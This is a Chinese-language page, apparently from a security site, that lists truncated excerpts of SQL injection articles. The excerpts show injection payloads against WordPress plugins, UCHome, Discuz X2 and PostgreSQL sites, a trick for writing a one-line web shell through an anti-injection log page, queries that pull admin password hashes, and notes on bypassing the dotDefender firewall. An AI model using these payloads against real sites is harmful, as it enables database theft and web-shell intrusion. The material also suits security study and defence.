WordPress多个插件注入漏洞及修复
1: OdiHost Newsletter plugin <= 1.0 POC: https://www.webshell.cc/wp-content/plugins/odihost-newsletter-plugin/includes/openstat.php?uid=-1&id=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,11...
提交’时提示ip被记录 防注入系统的利用
例如： 网址：https://www.webshell.cc/newslist.asp?id=122′ 提示“你的操作已被记录!”等信息。 利用方法：https://www.webshell.cc/sqlin.asp 看是否存在，存在提交https://www.webshell.cc/newslist.asp?id=122‘excute(request("mima"))写入一句话
mysql暴错注入的科普 1
抽uchome两个老的SQL注入漏洞举例，漏洞很久以前就被人公布过了，两个SQL注入都在个人资料更新的流程里： 注册变量的代码KEY的内容直接进入了$inserts数组 foreach ($_POST['friend'] as $key => $value) { $value = intval($value); $inserts[] = "('base','$key','$sp...
mysql暴错注入的科普 2
通过前面SQL错误信息获得了表前缀，那么直接就可以爆用户名为admin的hash 向cp.php?ac=profile&op=info POST提交参数： profilesubmit=1&formhash=232d1c54&info[a',(select 1 from(select count(*),concat((SELECT concat(password) FROM ...
mysql暴错注入的科普 3
跨库爆出uckey，跨库到ucenter进行查询，这里我就不详叙了，都截图吧。 爆出数据库的个数 profilesubmit=1&formhash=232d1c54&info[a',(select 1 from(select count(*),concat((SELECT concat(substring(count(*),1,64)) F...
绕过 dotDefender 防火墙方法 - 绕过 dotDefender 防火墙SQL注入
By：冰的原点 注：好久没发文了，我看了下这个文档的时间，显示是09年12月的！前些天某牛让我帮看这个防火墙的网站的时候，发现以前的方法其实还是可以用的，但目标站不仅有 dotDefender，还有个webknight，所以暂时想不出有啥好的方法。菜文发出来，牛牛们一起来支招吧！ 以下是笔记内容： 这个防火墙比起那个webkingnt要强大的多，以前一直没听说过有什么方法绕过的！ 经过BS牛的提醒...
PostgreSQL注入整理
/*order by猜字段数*/ https://www.webshell.cc/detail.php?id=236+order+by+26– /*判断postgresql数据库*/ https://www.webshell.cc/detail.php?id=236+and+1::int=1– /*通过cast类型转换来暴postgresql信息*/ https://www.webshell.cc/de...
postgresql注入和管理小记
Author：LengF PostTime:2011-08-17 相信大家平时关注最多的是Mysql和MSSQL，当然了Oracle也已经备受关注。但是一些比较“少见”的数据库，比如DB2，Postgresql，Sybase ASE，Informix。如果不知道这些数据库的特性就没办法谈注入和管理了。那么本文只是个人学习笔记的一部分，因为碰到了Postgresql了所以就认真看了官方相关文档及一些...
Discuz X2 SQL /Xpath最新注入漏洞
请求方式：POST 影响页面： https://www.webshell.cc/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes 参数:username 参数测试：and 1=1 攻击细节： username=1+and+1=1&cookietime=259...
老文赏：SQL注入思路与手工猜解大进阶
什么叫SQL注入？ 许多网站程序在编写时，没有对用户输入数据的合法性进行判断，使应用程序存在安全隐患。用户可以提交一段数据库查询代码，（一般是在浏览器地址栏进行,通过正常的www端口访问）根据程序返回的结果，获得某些他想得知的数据，这就是所谓的SQL Injection，即SQL注入。 SQL注入的思路 思路最重要。其实好多人都不知道SQL到底能做什么呢？这里总结一下SQL注入入侵的总体的思路： ...